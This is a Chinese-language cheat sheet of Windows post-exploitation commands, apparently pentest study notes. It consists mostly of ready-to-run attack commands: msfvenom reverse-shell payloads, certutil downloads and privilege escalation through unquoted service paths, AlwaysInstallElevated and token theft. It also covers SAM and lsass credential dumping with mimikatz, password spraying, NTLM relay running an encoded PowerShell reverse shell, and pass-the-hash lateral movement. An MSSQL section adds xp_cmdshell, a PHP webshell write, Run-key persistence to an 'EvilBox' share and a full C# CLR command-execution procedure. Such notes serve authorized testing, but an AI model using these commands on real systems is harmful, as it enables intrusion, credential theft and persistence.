Windows 後滲透
Reverse shell
- Msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > s.exe
本地 Download 遠端 Reverse shell
- Windows:
certutil -urlcache -f URL OUTFILE
- Living Off The Land Binaries:https://lolbas-project.github.io/ --> 用白名單 Binary 下載
Information Gathering
- 我是誰:
whoami
echo %username%
- 我在哪:
hostname
:電腦名稱systeminfo
:系統的各種資訊tasklist
:類似工作管理員cd
:不帶參數可以作為 linux 的 pwd 使用
Privilege Escalation
NT Authority\System 高權限
NT Authority\Network Service
NT Authority\Local Service 平常在這
NT Authority\IUSR
- Local Admin 比 Domain Admin 好拿
- net localgroup "Administrators”
- net user Administrators
手動枚舉密碼
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
自動化工具利用
-
Windows Exploit Suggester - Next Generation (WES-NG): https://github.com/bitsadmin/wesng
- 匯出 systeminfo
systeminfo > systeminfo.txt
- 更新資料庫
python wes.py --update
- 比對弱點 --> 利用提權漏洞
python wes.py systeminfo.txt -e
- 匯出 systeminfo
-
Winpeas
Bypass UAC (User account control)
- 執行後可以以高權限執行程式
- Tool:https://github.com/hfiref0x/UACME
- SCMUACBypass
劫持 Token
- PrintSpoofer
Local/Network
Service toSYSTEM
- https://github.com/itm4n/PrintSpoofer
- usage:
PrintSpoofer.exe -c "command"
Insecure Service Permissions
- 查看 service 存取:
accesschk.exe /accepteula -uwcqv <user> *
- 查看 service 權限 (要有
SYSTEM
可以執行的權限):wmic service where name="<service>" get name, caption, state, startmode, startname
Service Unquoted Path
- Windows 在處理含有空白的路徑時,需要以雙引號框起。
- 沒有用雙引號框起就有機會觸發 Unquoted Service Paths 而達到提權。
C:\Program Files\Program\My files\game.exe
由上而下解析:C:\Program.exe
C:\Program Files\Program\My.exe
C:\Program Files\Program\My files\game.exe
利用方式
wmic service get name,displayname,pathname,startmode
列出服務路 徑。- msfvenom 製作後門,命名為
My.exe
- 上傳後門至
C:\Program Files\Program\
- 重啟服務,觸發惡意文件執行。
- 提權至
BUILTIN\Administrators
安裝提權原則
- 安裝AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- msfvenom 生成後門(.msi安裝檔)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<PORT> -f msi -o office.msi
- 遠端掛載kali目錄
- rdp 開該掛載目錄,並執行安裝
- 取得
SYSTEM
權限
權限低到高(下到上)
- NT AUTHORITY\SYSTEM
- BUILTIN\Administrators
- 電腦名稱\使用者名稱(一般使用者)
從 Administrators 提權到 System
- 前提:提權後的使用者已經在 Admin 群組
- 從 Administrators 提權到 System 是 Feature ,不是漏洞
- 經過提權後到 Administrators 的 shell:
psexec.exe -s -i cmd.exe
密碼收集
SAM
Security Account Manager,存儲用戶密碼 位置:
C:\Windows\System32\config\SAM
匯出 SAM 檔:
- USAGE-1:
reg save HKLM\SAM <save_filename>
reg save HKLM\SYSTEM <save_filename>
- Default file name:C:\inetpub\wwwroot\sam.zip
- USAGE-2:
- 利用劫持 token 來獲得SAM
PrintSpoofer64.exe -c "reg save HKLM\SAM C:\inetpub\wwwroot\sam.zip"
- 利用劫持 token 來獲得SAM
- USAGE-3:
Invoke-NinjaCopy
:- Github: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path SAM -LocalDestination SAM_COPY
- 解析SAM
- pwdump.py
- samdump2
move sam.save \\<ip>\NameofFileShare
deHash
- online dehash: https://www.cmd5.com/
- Hashcat
hashcat -a 0 -m 1000 ntlm.hash pass.dict --force
- john
john ntlm.hash -w=pass.dict --format=NT
lsass
- 微軟會將使用者憑證資訊暫存在 lsass.exe
Get-Process lsass
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
pypykatz lsa minidump /path/to/lsassdumpfile
- mimikatz
- AV 可能會殺 --> 解法:Dump-memory
- 取得 Administrator後使用
- 解析其記憶體內容,挖出帳號、Hash
- 管理員權限開啟
privilege::debug
:切換到 Debug 權限sekurlsa::logonpasswords
- 取得 LSASS 中的登入密碼
misc::memssp
- 處理lsass內存,透過標識和patch函數以重定向執行來進行。
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
(用於 DCsync)
Dump memory
-
Procdump:https://docs.microsoft.com/zh-tw/sysinternals/downloads/procdump
- 取得 minidump:
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
- mimikatz:
Sekurlsa::minidump “/To/PATH/lsass.dmp”
Sekurlsa::logonPasswords
- 取得 minidump:
-
記憶體鑑識工具
- Rekall
- Volatility
- Windbg
Attacking Service
- enum4linux 枚舉:
enum4linux-ng.py <IP> -A -C
enum4linux <IP> -A -C
NFS
showmount -e <IP>
ftp
ftp <IP> <port>
(Port 預設是 21)- 匿名登入:root/anonymous
dir
(列舉內容),prompt
,mget
(下載)
wget -m --no-passive ftp://anonymous:anonymous@<IP>
下載所有檔案
SMB
- 開啟共享目錄:
- CMD:
dir \\IP\FILE\
net use n: \\IP\FILE\
- PowerShell:
Get-ChildItem \\IP\FILE\
New-PSDrive -Name "N" -Root "\\IP\FILE\" -PSProvider "FileSystem"
- CMD:
- 如果需要登入權限:
net use n: \\IP\FILE\ /user:<user> <Password>
- 搜尋敏感資料:
dir n:\*...* /s /b
- ... 可以是任意可能存放敏感資訊的資料夾名稱:
- credential
- password
- key
- license
- config
- ...
- windows CMD 指令:findstr
smbclient -N -L //<IP>
-N
No password 匿名登入
- smbmap 可以告訴我們當前權限可以存取哪些檔案:
smbmap -H <IP>
-r <資料夾>
遞迴開啟資料夾--download <相對路徑>
下載目標檔案--upload <上傳的檔案> "<路徑+檔名>"
Password Sparying
crackmapexec smb <IP> -u /tmp/userlist.txt -p '<password>' --local-auth
- 找到一組帳密後繼續灑:
--continue-on-success
--local-auth
:目前的電腦可以登過去的
- 找到一組帳密後繼續灑:
Forced Authentication Attacks
sudo responder -I <interface>
NTLM Relay
impacket-ntlmrelayx --no-http-server -smb2support -t <IP>
- 拿到 SAM
透過 SMB 做橫向移動
從密碼噴灑中拿到帳密後,可以對其它台電腦橫向:
impacket-psexec <username>:'<password>'@<IP>
crackmapexec smb <IP> -u <username> -p '<password>' -x 'whoami' --exec-method smbexec
- NTLM relay 橫向移動:
impacket-ntlmrelayx --no-http-server -smb2support -t <IP> -c 'powershell -e <base_revshell>'
Pass the Hash
- 拿到別台的 NTLM hash 後,可以在沒有密碼的情況下橫向移動:
crackmapexec smb <IP> -u <username> -H <NT(LM) Hash>
枚舉同組帳密的其它電腦
crackmapexec smb <IP> -u <username> -p '<password>' --loggedon-users
刮其它台電腦的 SAM
crackmapexec smb <IP> -u <username> -p '<password>' --sam
RPC
rpcclient -U'%' <IP>
enumdomusers
SQL
MySQL:
- 連接:
mysql -u <user> -p <password> -h <IP>
- Command:
SHOW DATABASES;
USE Database;
SHOW TABLES;
SELECT * FROM <Table>;
- Read Local Files
select LOAD_FILE("/etc/passwd");
- Command Execution:
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
MSSQL
-
連接:
sqlcmd -S SRVMSSQL -U <user> -P '<password>' -y 30 -Y 30
orsqsh -S <IP> -U <user> -P '<password>' -h
ormssqlclient.py -p <port> <user>@<IP>
impacket-mssqlclient <user>@<IP> -windows-auth
(網內互打)
-
語法:
SELECT name FROM master.dbo.sysdatabases
USE Database
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
SELECT * FROM <Table>
-
Read Local Files
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
-
Command Execution:
xp_cmdshell '<command>'
- xp_cmdshell 不能用的話:
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE
- Extended stored procedure (xp_regwrite)
EXECUTE master.sys.xp_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'EvilSauce', 'REG_SZ', '\\EvilBox\EvilSandwich.exe'
- Modify Image File Execution Options (xp_regwrite)
EXECUTE master.sys.xp_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe', 'Debugger', 'REG_SZ', '"c:\windows\system32\cmd.exe"'
- CLR (Common Language Runtime)
sp_configure 'clr enabled', 1;
啟用CLR功能RECONFIGURE;
ALTER DATABASE [資料庫名稱] SET TRUSTWORTHY ON;
允許執行不安全(UNSAFE)的 CLR 組件- 製作自訂 CLR DLL
using System;
using System.Data;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec(SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
}- 編譯 dll:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs
- 將 CLR DLL 匯入 SQL Server
登入 SQL Server (需具備 sysadmin 或 CREATE ASSEMBLY/ALTER ASSEMBLY 權限),並執行以下 TSQL:
USE msdb;
-- 啟用 CLR 功能
sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'clr enabled',1;
RECONFIGURE;
-- 匯入 CLR 組件
CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- 建立儲存程序連結至 CLR 方法
CREATE PROCEDURE [dbo].[cmd_exec]
@execCommand NVARCHAR (4000)
AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO EXEC dbo.cmd_exec 'whoami';
- 無檔案方式匯入 CLR DLL
$assemblyFile = "c:\temp\cmd_exec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null -
sqlcmd 用法:
1> <語法>
2> GO
RDP
Login
rdesktop -u admin -p <password> <IP>
Password Spraying
crowbar -b rdp -s <subnet> -U <user list> -c '<password>'
hydra -L <user list> -p '<password>' <IP> rdp
兩種都可
Session Hijacking
tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}
Pass The Hash
- 使用前要在確認目標上設定:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
xfreerdp /v:<IP> /u:<user> /pth:<NTLM>